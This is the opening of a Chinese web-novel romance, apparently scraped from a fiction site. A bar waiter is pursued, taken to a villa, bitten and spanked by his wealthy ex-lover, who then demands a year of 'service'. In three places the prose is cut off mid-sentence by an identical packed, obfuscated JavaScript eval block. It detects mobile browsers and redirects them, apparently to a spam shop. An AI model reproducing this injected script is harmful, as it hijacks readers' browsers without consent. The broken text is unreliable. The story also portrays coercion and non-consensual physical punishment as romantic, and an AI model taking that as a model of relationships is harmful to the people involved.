《你再跑试试》 1. 第 1 章 晚上十点,酒吧里的夜生活才刚刚开始。 沈玉端着托盘穿过拥挤的卡座,熟练地侧身避开一个喝得醉醺醺的客人,托盘上的两杯威士忌来回晃了晃,很快便重归平静。 酒吧的灯光昏暗而暧昧,空气里弥漫着酒精和廉价香水混合的刺鼻气味,震耳欲聋的吉他和鼓点一下下敲在太阳穴上,震得人头昏脑涨。 沈玉已经在这里兼职三个月了,还是没能习惯这种环境,但酒吧兼职来钱快,目前的他并没有什么选择的余地。 片刻后,他终于穿过嘈杂的人群,就在快要到达点单的卡座时,身后一个踉跄的男人狠狠撞了他一下。 沈玉第一反应是伸手去护托盘,但托盘还是被撞脱了手,他整个人也往前面的卡座上扑去。 “我操!”一道粗俗的骂声响起来,“你他妈的怎么走路的?眼睛瞎了吗?” 沈玉稳住身体,抬眸看向声音来源处,心下一沉。 卡座上坐着几个三四十岁的男客人,看面相都不是什么好惹的人,被酒溅到的那个男人更是满脖子纹身,此刻正大发雷霆。 “对不起对不起......”沈玉立刻弯腰道歉,“实在抱歉,我马上给您处理。” “处理?”纹身男站起来,一把握住他的手腕,“知道老子这件衣服值多少钱吗?你一个小小的服务生能赔得起?” 沈玉手腕被捏得生疼,却没有挣扎。 在酒吧这种地方,客人闹事是常有的事,更何况这次是他的失误,闹大了领班只会扣他的工资,他这一晚上又白干了。 想到这里,沈玉再次放低姿态道歉:“先生,真的非常抱歉,我可以帮您送去干洗——” “干洗?”纹身男粗暴地打断他的话,“有的衣服是不能干洗的,你这土包子懂不懂?” 沈玉抿了下唇:“那请问您想怎么处理?” 纹身男上下打量了他一番,目光停留在他脸上,眼神变了意味:“长得倒是挺不错的。” 沈玉身上穿着酒吧统一发放的侍应生服,白色衬衫洗得有些发硬,领口松了两颗扣子,露出一小截锁骨,衬衫下摆扎进西裤里,黑色小马甲勾勒出一把劲瘦的腰线,看起来一只手就能轻松握住。 他的脸很小,皮肤瓷白,五官精致得像是画出来的,尤其是一双水汪汪的大眼睛,眼尾上翘的弧度很漂亮,在昏暗的灯光下显得尤为勾人。 旁边有人跟着起哄:“王哥,让这小哥陪几杯酒给你赔罪得了。” “就是啊!王哥你大人有大量,别为难小孩儿!” 纹身男被捧得飘飘不知所以然,拽着沈玉的手腕就往卡座里拉:“来来,陪哥哥喝两杯这事儿就算了。” 沈玉忍着疼,仍在试图跟对方讲道理:“对不起先生,我还有工作,不能擅自离开岗位。” “什么工作?”纹身男生拉硬拽着他,“我让你陪酒是看得起你,别他妈的当了婊子还要立牌坊!” 沈玉脸色白了白,不知打哪儿爆发出一阵力量,用力甩开了对方的手:“先生,请你放尊重点。” 纹身男愣了一秒,暴跳如雷:“我操|你大爷的!老子今天就让你这只小鸭子知道什么叫尊重!” 沈玉本能地闭上眼睛,掌风袭面,预想之中的疼痛却并未降临。 他睁开双眼,面前凭空出现一只手。 那是一只骨节分明的大手,手指修长有力,像铁钳子一样牢牢锢住纹身男的手臂。 纹身男一愣,咬牙想要抽回自己的手,骨头被捏得咯吱作响,对方的手却纹丝不动。 “何必强人所难?”一道低沉的嗓音响起,带着某种金属般冷冰冰的质感。 沈玉循声转头,看清那张脸的一瞬间,整个人都僵住了。 纹身男旁边站着一个身材高大挺拔的男人,一身剪裁考究的深色西装,西装领带系得一丝不苟,一看就是高级定制。 酒吧昏暗的灯光将那张英俊而冷漠的脸分割成两半,一半迎着光亮,一半藏在阴影里,五官轮廓比少年时代更加深邃凌厉。 唯有那双眼睛,还是沈玉记忆里的样子。 平静的,幽深的,像一潭望不见底的深水,此刻正死死盯着他,漆黑的瞳孔里翻涌着他读不懂的情绪,仿佛正在酝酿着一场无法预知的风暴。 沈玉大脑一片空白,像是被人突兀地按下了暂停键。 “你他妈的谁啊?”纹身男挣了半天没挣开,再次破口大骂,“敢管老子闲事,你他妈的活腻——嗷嗷!” 男人单手一扭,纹身男骂声戛然而止,转变成痛苦的嚎叫。 “段总!”这时,领班的不知打哪儿冒了出来,“段总您来了怎么不招呼一声,哎呦这是怎么了?” 段尧手一松,将纹身男甩到一旁:“刚到。” 纹身男还想再骂,领班的赶紧凑到他耳旁低声说了句什么,纹身男的脸色瞬间由红转白,一句没吭声,托着受伤的胳膊踉踉跄跄地走了。 段尧整了整西装袖口,目光重新落回到沈玉身上。 从那张苍白的小脸开始,一寸一寸往下移,慢慢扫过瞪圆了的眼睛,挺翘的鼻尖,淡红色的嘴唇,扫过松开的领口,最后停留在露出的那截锁骨上。 那里有一颗小小的痣,按理说在这种灯光下并不能看见这颗小痣,可段尧就是看得清清楚楚。 沈玉被这道目光盯得头皮发麻,锁骨上的那颗痣也开始发烫,像是被什么灼烧着了。 他张了张嘴,想说点什么,比如说“好久不见”,再比如“你怎么好像长高了”诸如此类久别重逢后的寒暄。 但下一秒,他一把抄起落在卡座上的托盘,转身落荒而逃。 段尧站在原地,并没有追上去,只是用目光如影随形地捕捉着那道身影,像一张细细密密的天罗地网,直到沈玉彻底消失在自己的视线里。 “段总,李总已经在里面的包厢等您了。”领班的硬着头皮开口道,“我给您领路?” 段尧收回视线,转身朝酒吧里面走去。 * 酒吧后门,沈玉背靠着画满涂鸦的墙面,腿软得几乎站不住。 五年了,距离他最后一次见到段尧,已经过去五年了。 原来他们分开的时间,已经比他们在一起的时间更长了。 这五年里,他不是没想过再见面会是什么场景,也许是某天在街头擦肩而过,也许段尧看他的眼神会像看陌生人一样,又或是永远不会再见。 但他从没想过,会是在这里,在他最狼狈不堪的时刻迎来猝不及防的重逢。 “小玉?”一个黄头发打着耳钉的男生推开后门,“你躲在这里干嘛呢?” 沈玉回过神来,勉强笑了下:“没什么,偷个懒。” “我刚听他们说,你跟客人发生冲突了?”徐茂靠在他旁边的墙上,安慰道,“在酒吧做事就这样,难免会碰到喝了几滴猫尿就不知道自己是谁的东西,你别放在心上。” 沈玉后脑勺蹭了蹭墙面:“没事,不就是扣一晚上工资嘛。” “你这个月被客人骚扰过不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393088|200327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止一次两次了吧?”徐茂从口袋里掏出一支烟点上,透过缭绕的烟雾盯着他的侧脸,“小玉,你长了这么一张脸,不应该在酒吧里干的。” 酒吧里太多见色起意的人了,美貌单出完全就是灾难。 沈玉从徐茂手里抢过烟,夹烟的手指还在微微发着抖。 他学着徐茂的样子,将烟放进嘴里狠狠吸了一口,结果被呛得直咳嗽。 “不会吸烟就别学我抽烟了。”徐茂笑着从他手里拿回烟,“烟不是什么好东西,小玉。” 沈玉用手背擦了擦眼尾呛出来的生理性眼泪,回味了下舌尖上的苦涩,继续刚才的话题:“那你说,我不在酒吧干能去哪儿干呢?当明星吗?” “当明星比较难,但你可以去当网红开直播。”徐茂给他出谋划策,“稍微擦一下,不比你在酒吧里累死累活赚得多?” “算了吧。”沈玉用肩膀撞了一下他,“你看我像是能搞擦边的人吗?” 徐茂认真打量了他一眼:“像。” 沈玉:“......” 没等沈玉说话,他又正色道:“好了开玩笑的,你不是在攒下学期的学费吗,还差多少,我转给你先凑着。” 沈玉摇头:“不用了,我攒得差不多了。” “学费是差不多了,但你吃饭也得要钱啊。” 徐茂从兜里掏出手机,在屏幕上点了两下,“不多,就一千块钱,你先用着。” 沈玉感激地看了他一眼:“真不用茂茂,我要是到了没钱吃饭的地步,肯定会跟你开口的。” “行。”徐茂吸完最后一口烟,掐灭了烟头,“走吧,回去继续上工。” 接下来的一整晚,沈玉都在提心吊胆,生怕段尧又从哪里突然冒出来。 好在直到酒吧快打烊,他都没再见到那张熟悉又有点陌生的脸。 下班后沈玉正准备去换衣服,领班的走过来:“Ray,你过来一下。” 沈玉和徐茂对视一眼,跟着领班走到旁边,抢先道歉:“对不起吴哥,我今晚真不是故意的。” “没事啊,我知道你不是故意的。”吴谦对他一脸和颜悦色,眼神上下扫着他,“Ray,你认识段总?” 沈玉一时没反应过来:“啊?” “段总啊,就是今天给你解围那位,他可是咱们老板的贵客。”吴谦压低了声音,“你悄悄跟我说一句,你们私下里是不是有什么关系?” 沈玉垂下眼睫:“吴哥,我不认识段总。” “真的假的?”吴谦半信半疑,“据我所知,这位段总可不是什么爱管闲事的人。” 沈玉抿住嘴唇,显然是不想多说。 “好,就算你俩不认识吧,但我看段总挺喜欢你的。”吴谦循循善诱道,“Ray,你长得这么好看,其实不用累死累活端盘子的,吴哥看你每天这么辛苦很心疼你的,你明白不?” “我知道吴哥都是为了我好。”沈玉往后退了一步,目光看向一旁的徐茂,“我也一直都很感谢吴哥的栽培。” 徐茂接收到信号,几大步走过来,打断了吴谦的继续输出:“吴哥,没事我跟Ray先下班了。” 吴谦满嘴的话被迫吞了回去,摆了摆手:“走吧走吧,明晚记得来早点。” 徐茂拉着沈玉往换衣间方向走,低声问道:“吴哥跟你说什么了?” “没什么,就是今晚的事。”沈玉想到领班刚才跟他说的话,唇边逸出一抹苦涩的笑。 段尧喜欢他吗? 不,段尧早就恨透了他。 2. 第 2 章 凌晨两点,沈玉换回自己的旧T恤和短裤,和徐茂一起走出酒吧后门。 一个拾荒老人正躺靠在街边睡觉,只在身下铺了一张破破烂烂的毯子,怀里还抱着一只脏兮兮的小黑猫。 沈玉犹豫了一下,从兜里抽出一张晚上收到的小费,弯腰放进老人面前的破碗里,顺手捡起两枚硬币压住纸币。 现在的人都习惯了电子支付,很少有人随身带现金,他兼职时能收到的小费也越来越少了。 徐茂站在一旁直叹气:“你都快养不活自己了,还有力气发善心。” “这不是还有你接济我么,不至于沦落到睡大街上。”沈玉笑着蹭了蹭他的肩膀,“走了,明天见。” 徐茂挥了挥手:“明天见,小菩萨。” 他俩租的房子不在同一个方向,分别后各自朝出租屋的方向走去。 深夜的风带了丝丝凉意,但沈玉脑海里冷不丁浮现出的那双眼睛,才是真正的冰冷刺骨。 他不自觉打了个寒颤,脚步越走越快,最后几乎是小跑起来,像是身后有鬼在追似的。 沈玉一口气冲回出租屋,“啪”地一声打开灯,反手锁上门,这才靠在门板上小口小口地喘气。 他的出租屋很小,大概七八个平方,一张单人床,一个简易衣柜,再加上一张桌子就塞得满满当当了,两个人在里面转开身都很困难。 老小区的合租房,环境可想而知,但这里的房租已经是沈玉能负担的极限了,如果不是酒吧兼职下班太晚,学校宿舍回不去,他也不会在附近租这个小房间。 沈玉靠着门站了好一会儿,心跳慢慢平复下来。 没事的,段尧应该只是碰巧路过,可能根本就没认出他,只是好心帮了一个被客人刁难的服务生。 可是……段尧会是这么热心肠的人吗? 沈玉回忆起段尧在酒吧里看他的眼神,下意识抬手捂住锁骨的位置,手心里的小痣似乎又隐隐发烫起来。 他深呼吸一口气,走到桌边坐下,掏出手机,在输入框里打下曾经最熟悉的两个字:段尧。 第一条新闻赫然写着:《AI造就新晋亿万富豪——年仅二十四岁,身价已超百亿。》 新闻配图是段尧接受采访时的照片,西装革履,英俊不凡,唇角噙着淡淡的笑意,眼神却比五年前更冷漠疏离。 沈玉指尖悬在屏幕上方,盯着照片看了好半晌,忽然扔了手机,一头栽进床上。 他早知道段尧会出人头地,只是没想到这一天来得这么快。 不对,是因为这五年里他一直在刻意躲避外界的新闻,不然早该知道段尧的近况了。 只是段尧如今越成功,就显得他越落魄…… 突然间,沈玉从床上一跃而起,火急火燎地开始翻抽屉。 身份证,学生证,银行卡,换洗衣服...... 段尧现在是什么人? 是身价超百亿的商界新贵,也是他打工的酒吧老板的座上宾,要是想要报复自己,那简直比捏死一只蚂蚁还要简单。 沈玉又想起了自己当年强迫段尧所做的那些事,一桩桩一件件,哪件单拎出来都够段尧动动手指头整死他。 他不敢继续往下想了,加快动作,一股脑把东西全塞进书包里。 收拾好后,沈玉打开手机买了最早一班的长途汽车,没管目的地在哪里,反正先离开A市再说。 距离发车时间还有两个多小时,但他越想越慌,根本睡不着,干脆背上书包直接出门,打算先去车站等着。 老小区楼道的灯是坏的,黑漆漆一片,沈玉摸黑小心地往楼下走,生怕自己一脚踩空了。 刚走出楼道,他就发现楼下停着一辆黑色的车,在夜色中几乎看不清轮廓,但他还是靠车牌勉强认出这辆车是迈巴赫。 不对劲,他们楼栋什么时候来了辆这种级别的豪车? 沈玉一闪身,躲回了楼道的阴影里,屏住呼吸探头往外看。 片刻后,车上下来一个穿黑色西装的男人,体格高大健壮,要是再戴一副墨镜,就像是在演黑客帝国。 沈玉又看了一眼,悄无声息地绕到另一侧,打开窗户跳了下去。 老小区就这点好处,四通八达,进来容易出去也容易。虽然他也不知道自己为什么要这么做,但直觉告诉他那辆迈巴赫可能有问题。 这个点路上一辆公交车都没有,沈玉只能咬咬牙,拦了辆出租车坐进去:“你好,去长途汽车站。” 司机是个中年男人,从内后视镜看了他一眼:“ 这么早?” 沈玉简单回道:“对,我赶最早班的车。” “看你年纪这么小,还在上大学吧?”司机边启动车边搭话,“放暑假啦,是赶着回老家吗?” 沈玉根本没心思聊天,只应了一声,靠在座椅上看着窗外的街灯一盏盏飞快地掠过。 这会儿冷静下来,他觉得自己有点好笑,人果然是不能做亏心事,现在的他毫无疑问就是一只惊弓之鸟。 段尧真的还能认出他吗?就算认出他了,也未必会浪费时间和精力来报复他吧。 沈玉闭上眼睛,攥紧书包带子的手慢慢松开了一点。 “小伙子,后面那辆车是不是在跟着咱们啊?”司机又说话了。 沈玉猛地睁开眼睛,回头看过去。 一辆黑色轿车正不紧不慢地跟在他们车后,看不清是什么车,但由于路上实在太空了,很明显能看出对方是在故意跟着他们。 沈玉的心跳速度加快了些,扭过头:“师傅,麻烦开快点。” 司机从内后视镜里看了他一眼,没多问,加重了踩油门的力道。 车速提了起来,在空旷的街道上飞驰,沈玉发现跟着他们的那辆车也提速了,只能再次询问:“师傅,还有多久能到?” 司机看了眼导航:“快了,还有七八分钟就——” 话音未落,一阵刺耳的引擎轰鸣声自后方逼近。 沈玉瞳孔骤缩,看着那辆车追上来,与他们并行疾驰。 司机脸色都变了:“小伙子,你是不是惹上什么人了?” 沈玉一颗心凉了半截,眼见旁边的迈巴赫再次提速,到底还是开了口:“师傅,你就在这里停下吧。” 现实不是电影,大半夜的他不敢让出租车司机在马路上演真人版生死时速。 司机师傅有些犹豫,降下车速但没停车,这时迈巴赫已经冲出了一大截,然后一个横摆,稳稳当当地停在路中央,彻底拦住他们的去路。 司机只能猛踩刹车,沈玉身体被惯性甩得向前倾倒,本能地一把抓住前面的座椅,指骨用力到发白。 “这这……这到底是怎么回事啊,小伙子?”司机被吓得不轻,但并没有强行赶他下车,“要不要我帮你报警?” 沈玉没说话,透过挡风玻璃看向挡在前面的那辆车,心里还残存着最后一丝侥幸。 迈巴赫驾驶座下来一个黑衣男,恭敬地打开车后座的门,一条笔直修长的腿落地,挺括的西装裤布料毫无褶皱。 段尧从车里下来,身上穿的还是酒吧里的那套西装,领带依旧系得一丝不苟,除了大背头发型有点塌了,几缕发丝略显凌乱地散落在额前。 沈玉不知道自己为什么会关注这么无聊的细节,但他觉得头发有点乱的段尧看起来英俊又性感。 凌晨三点的街道空无一人,段尧就这么穿过两辆车交汇的光柱,一步一步朝他走过来。 沈玉坐在车里,他察觉自己的手又在抖,他想催促司机师傅快点开车,可是嗓子眼像是被什么堵住了。他想开门下车逃跑,可是他的腿好像也在抖,完全不听自己的使唤。 沈玉只能傻傻地坐在出租车后座,眼睁睁地看着那道身影越走越近。 “咚咚咚” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393089|200327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,段尧停在出租车旁,抬手敲了敲车窗。 沈玉没有动,这次车外的人开口了:“下车。” 低沉的声音隔着车窗传进来,变得愈发沉闷,像一记重锤砸在沈玉心上。 沈玉不知道自己是怎么下车的,也不知道出租车是什么时候开走的。 他站在段尧面前,头垂得很低,想象自己是一只鸵鸟,可以把自己埋进沙子里。 段尧目光从他的发顶慢慢下移,移到他背着的书包上:“你跑什么?” 声音低哑粗粝得像是被砂石磨过,更像是正在努力压着什么即将要爆发的东西。 沈玉嘴唇微微动了动,没敢接话。 段尧往他面前走了一步,大手掐住他的下颌,逼他抬起脸来。 沈玉被迫直视那双眼睛,这才发现漆黑的瞳孔泛起了道道红血丝,令人心惊肉跳。 段尧声音压得很低,一字一句像是从齿缝里挤出来的:“我问你,你又要跑到哪里去?” 沈玉当然不敢说实话,胡言乱语道:“我没想跑,我只是......我只是突然想出去旅游。” 段尧笑了声,那笑声很短促,却让沈玉后背一阵发凉。 “沈玉。”重逢后,段尧第一次开口唤他的名字,“你还是跟五年前一模一样。” 沈玉的心脏猛地揪紧了,鼻尖猝不及防涌起一股酸意。 段尧却松开了手,后退一步,恢复一副冷冰冰的模样:“上车。” 沈玉站在原地没动,还在幻想有没有警察叔叔从天而降,拯救他于水火之中。 段尧眉头微皱:“我再说一遍,上车。” 沈玉看看他,又看看站在不远处的两个黑衣保镖,最终认命地低下头,跟着段尧往那辆迈巴赫走去。 今晚无论如何,他都跑不掉了。 * 车内很暗,沈玉抱着书包缩在座位一角,眼观鼻鼻观心。 尽管他没敢往旁边看,但他依旧能感觉到段尧的视线落在自己身上,复杂莫测,难以辨明。 不知开了多久,迈巴赫驶进一片别墅区,平缓地停在一栋独栋别墅前。 沈玉老老实实地下车,跟在段尧身后走进别墅里。 这栋两层式小别墅走的是意式极简风,整体装修风格给人的感觉和段尧一样,高贵但没什么人情味。 沈玉抱着书包局促地站在偌大的客厅里,像个不小心闯入豪宅的小孩儿。 身后的门关上了,声音不大,但足够令他后背一僵。 下一瞬,沈玉被一股大力带着转过身,手里的书包落地,发出“砰”的一声闷响。 段尧一只手抓住他的手腕,将他压到墙壁上,整个人笼罩下来,距离近得沈玉能嗅到他身上带有烟熏感的木质茶香,以及压抑的呼吸喷洒在脸颊上的热度。 沈玉心脏狂跳起来,低垂的眼睫剧烈颤动如蝴蝶羽翼。 他必须得承认自己当年对段尧其实是见色起意,如今过去五年,尚有几分青涩的少年长成了英俊成熟的男人,他好像更难抵抗了…… 段尧目光再次一寸寸逡巡过这张阔别五年的脸,最后落在眼下的那颗泪痣上。 他记得五年前,沈玉脸上并没有这颗痣。 段尧抬起另一只手,指腹揉上那颗小小的泪痣,不轻不重地蹭了蹭。 见沈玉没挣扎,那只手便顺着纤长白皙的脖颈线条,缓慢地往下滑动。 白T洗了太多次,变形的领口很宽松,露出大半精巧凸起的锁骨,四周皮肤泛着淡淡的粉意,藏在里面的那颗小痣若隐若现。 段尧手上骤然发力,用力扯下他的一侧领口,低下头,张口咬在了他的锁骨上。 沈玉腰身狠狠抖了下:“疼......” "疼?"段尧咬着他没松口,含糊地笑了声,那笑声里听不出来是嘲弄还是别的什么,“沈玉,你也知道疼么?” 3. 第 3 章 曾经的沈小少爷娇气得不行,手指破了点皮都是天大了不起的事,沈家从上到下都会被惊动。 然而这五年里,沈玉不记得自己受过多少次伤,每次都是默默爬起来等伤口结痂,早就锻炼出了一身耐受力。 今晚不知怎么了,在段尧面前竟又久违地矫情起来了。 沈玉咬住下唇,努力将眼里氤氲的湿气憋回去。 最爱他的那两个人早就不在这个世上了,讨厌他的人根本不会心疼他,他才不要在段尧面前哭。 段尧细细感受着身下人的颤抖,好半晌后终于松了口,抬脸望向他:“说话。” 沈玉想回一句我也是人我当然知道疼,可是他没说,只是问道:“段尧,你带我回来,到底是想怎么样?” 钝刀子割肉太磨人,不如给他个痛快吧。 段尧闭了闭眼,收回手,转身背对着他:“先去洗澡,一身酒味。” 沈玉下意识抬起胳膊嗅了一下,好像没什么味道,虽然今晚忙着跑路还没来得及洗澡,但是他出酒吧时就换过衣服了。 “愣着干什么?”段尧往前走了两步,回头看他一眼,“浴室在二楼,自己找。” 沈玉张了张嘴,想问什么又咽了回去:“好。” 他捡起掉落在地上的书包,背着包上了二楼,没敢四处瞎逛,找到浴室就进去了。 沈玉反锁上门,站在盥洗台前,拉开衣领查看刚才被咬的部位。 锁骨上一片通红,两道新鲜出炉的牙印异常鲜明,甚至还渗出了一点血丝,指尖一碰就传来一股针扎一样的刺痛感。 “下口真狠。”沈玉对着镜子喃喃自语,“属狗的吧?” 要是他跟段尧之间的账能靠这一口抵消了就好了,当然他也知道这是不可能的。 沈玉脱掉身上的衣服,打开花洒,温热的水兜头浇下来,让他乱糟糟的大脑稍微清醒了些。 段尧带他回来,到底是要对他做什么? 刚才在路上被拦截时,他差点以为段尧会当街暴揍他一顿,在来别墅的路上,他也想好了自己被花式囚禁折磨的一百个凄惨下场。 但段尧什么都没做,就只是把他带回来,让他洗个澡? 沈玉想不明白,但他知道段尧绝不会是带他回来叙旧的,他的头顶上方正悬着一柄达摩克利斯之剑,随时都有可能斩下。 或许,这正是段尧报复他的手段之一? 沈玉洗完澡,换上自己带来的干净T恤和短裤,走出浴室时才看见,门口的架子上放着一套全新的浅蓝色睡衣。 他伸手去摸了一下睡衣,是很柔软的纯棉材质,穿在身上不会噼里啪啦起静电的那种布料。 沈玉心情有点复杂,但还是自觉换上了睡衣。 睡衣的尺寸对他来说有些大了,他卷起袖口,顺着走廊往里走,看见其中一个房间的门是开着的,便探头看向里面。 房间里没有人,桌边放了一杯水,床铺得整整齐齐,床单被套也是他最喜欢的天空蓝颜色,看起来简直就像是特意为他准备的卧室。 当然沈玉没有这么自作多情,但上了一晚上的班,又经历了凌晨三点逃跑路上被逮回来,此刻的他已经精疲力尽了。 不管明天醒来要面对什么,至少让他先睡一觉,不然没等段尧报复他,他自己就先猝死了。 想到这里,沈玉走进房间,端起水杯浅尝了一口,好像没什么奇怪的味道,这才一口气“咕咚咕咚”地喝下去。 喝完水,他掀开被子爬上床,闭上眼睛,没过两分钟就沉沉睡去了。 一墙之隔,段尧站在主卧延伸出去的露台上,手里夹着一根燃烧的烟。 他看着浓重的夜色,一动不动,直到指缝间的那支烟燃烧至尽头,火星子燎上了皮肤,才不紧不慢地掐灭了烟头。 他需要一些疼痛来提醒自己,今夜的一切并不是他做的一场梦。 这五年里,他做过太多次类似的梦了,每次梦醒都是一场空。 段尧转身走进洗手间,打开水龙头仔细洗干净手,拿起放在台子上的药膏,推开房间里隐藏的一道门,直接穿到隔壁房间。 借着床头灯昏黄的光,他看见床上睡熟的人踢开了被子,睡衣下摆卷了几道起来,露出一截雪白纤薄的腰。 和五年前一样,沈玉睡觉时总是不老实,睡着睡着被子就被他踢到了一边,两条细长白嫩的腿任性地交缠到他身上,活脱脱将他当成人形抱枕。 段尧无声无息地走向床边,漆黑的眼珠子钉在那张安睡的脸上。 浓密的睫毛垂下来,淡红色嘴唇微微张着,再往下是锁骨上痕迹鲜明的牙印,随着呼吸轻微起伏。 段尧坐到床边,用指尖拨开宽松的睡衣领口,露出完整的牙印。 等欣赏够了,他才拧开药膏,先用指腹的温度将药膏化开,再轻轻涂抹上牙印。 “唔......”睡梦中的沈玉感受到一阵刺疼,眉心微皱哼唧了声,但并没有醒过来。 段尧手上动作放得更轻了,明明是他自己留下的伤口,却小心翼翼得像是在修复世界上最珍贵的宝物。 涂好药膏后,他又握起了沈玉的手。 他所认识的沈小少爷娇生惯养,十指不沾阳春水,一双手比小婴儿的皮肤还要白嫩软滑。 可如今他手心里的这只手,指腹覆着一层薄茧,手背也有些干燥粗糙,一看就是认真干过活的手。 段尧握着那只手,慢慢贴在自己脸侧,英俊的眉眼间有失而复得的庆幸,也有难以言喻的痛苦。 最后,只化为一句无声地质问:“为什么......” * 第二天早上,沈玉被定好的闹钟叫醒了。 他迷迷糊糊地伸手摸到手机,关掉了该死的闹钟,忽然想起昨夜发生的一切,猛地坐起身来,正好撞进一双漆黑幽深的眼睛里。 段尧换了一身西装,依旧是深色的,正坐在他对面的沙发上面无表情地盯着他。 一大清早的,沈玉被盯得头皮发麻,挤出一个假笑:“那个......你昨晚没睡吗?” 段尧冷冷道:“跟你有关系吗?” 沈玉垂下眼睫,手指在被子上扣了扣:“没......没关系。” 短短三个字,不知道哪个字戳中了男人的神经。 段尧突然起身,几大步走到床边,俯身单手捏住他的脸。 “沈玉,我再问你最后一遍。”段尧居高临下地俯视着他,“如果我没出现,你打算跑到哪里去?” 沈玉脸颊肉被捏得鼓起来,说话都有些吐字不清:“我、我随便买的票......我也不资到是去哪里的。” 段尧笑了:“所以你的意思是,不管去哪里都行,只要能离我远远的,对吗?” 他的笑意完全没有到达眼底,沈玉哪里敢承认,只能努力摇头。 段尧看着眼前这张叫人又爱又恨的脸,心底压抑了整整五年的爱与恨腾地一下熊熊燃烧起来,灭顶的火焰几乎要将他烧成灰烬。 他想要撕咬,想要将眼前这个人拆开来,再一口一口吞进肚子里,才能填满内心无底的深渊空洞。 段尧一把将沈玉抱起来,翻过身按在自己腿上。 沈玉脑袋朝下趴在结实的大腿上,扑腾起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393090|200327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来:“段尧你要干——啊!” “啪”的一声,大掌重重落在屁股上,疼得他不由叫出声来。 “段尧你打我屁股?”沈玉被打懵了,不可置信地扭过脸,“你居然敢打我屁股?” 从小到大,从来没有任何人敢碰他一根手指头,更别提有谁敢打他的屁股。 似乎是嫌隔着衣服打不过瘾,段尧单手褪下了他的睡裤,又一掌重重落下来。 黑色内|裤包裹着的臀瓣又圆又翘,哪怕腰都瘦成一小把了,屁股上还是肉嘟嘟的,像剥开的果冻似的,打一下会晃荡好几下。 段尧喉结滚了滚,眸色浓稠得像是要滴墨。 沈玉一张脸瞬间红到了耳后根,分不清是疼痛更多还是羞耻更多一点:“段尧!你别太过分了!” 段尧微微眯了下眼眸,抬起手,又一巴掌毫不留情地落下来。 两人之间的力量悬殊太大了,无论沈玉怎么挣扎都挣脱不开,最后被打服了,只能哭叫着认错:“我错了,对不起......别打了呜呜......” 段尧一只手死死控住他,另一只铁砂掌还悬在半空中:“错哪了?” 沈玉头昏脑涨,根本无法思考,只知道认错:“都是我的错呜......” 段尧最后一巴掌落下去时,力道卸了大半,顺势将人在怀里掉转过来。 沈玉哭得眼尾和鼻尖一片通红,豆大的眼泪挂在长长的睫毛上摇摇欲坠,像是被人狠狠欺负过了,这副模样反倒更容易激起别人的施虐欲。 段尧呼吸急促了些:“长记性了吗?” 沈玉恶向胆边生,用尽全身力气推开他滚到床上。 屁股一挨上床就传来一阵钻心的疼,他哀哀地叫了两声,抓起旁边的被子将自己整个人裹成一只蚕蛹,只露出一张凄凄惨惨的小脸。 他早就知道了,段尧是不会轻易放过他的,只是没想到对方教训他的手段如此歹毒,完全就是赤|果果的羞辱! 段尧看了他一眼,起身站到床边,抬手整理刚才动手时被弄乱的西装。 沈玉眼神幽怨,心里不停地暗骂着衣冠禽兽、斯文败类。 段尧慢条斯理地扣着袖口,薄唇开阖:“还跑吗?” 沈玉两只手抓紧被角往上提了提,像是生怕段尧又把他从被子里挖出来打一顿屁股。 他实在是怕了,如今的他不管是从武力还是财力的角度,都远远不是段尧的对手。 思前想后,沈玉决定还是抛开早就变得不值钱的自尊心。 于是他吸了吸鼻子,整个人可怜兮兮地缩在被子里求饶:“阿尧,当年是我年纪小不懂事强迫了你,真的对不起......你就放过我吧呜呜......” 说到最后,声音又带上了哭腔。 沈玉也不知道自己是真的想哭还是为了博取同情装出来的,反正眼尾变得更红了,一双漂亮的大眼睛里蓄满了晶莹的泪水,看起来要多可怜又多可怜。 段尧在他喊“阿尧”的一瞬间,心脏像是被什么东西重击,连心神都荡了一下。 但下一秒,听见那张可恨的嘴里吐出来的话,他又笑了。 这次不是冷笑也不是讥笑,而是那种气到了极点反而笑出声来。 段尧重新俯下身,大手捏住尖尖的下颌抬起来。 “放过你?”他声音低哑,用指腹拭去他眼下的泪痕,然后缓慢地擦过红红的嘴唇,动作慢得近乎涩|情,“好啊。” 沈玉有点不敢相信:“真的?” 段尧指尖发力,不轻不重地揉开了他的下唇:“你先好好伺候我一年,等我满意了再说。” 4. 第 4 章 沈玉睁大了眼睛,一时没反应过来他是什么意思。 段尧松开手,起身冷冷道:“起来吃早餐,吃完来书房找我。” 说完他就转身离开了房间,留下沈玉一个人躺在床上发愣。 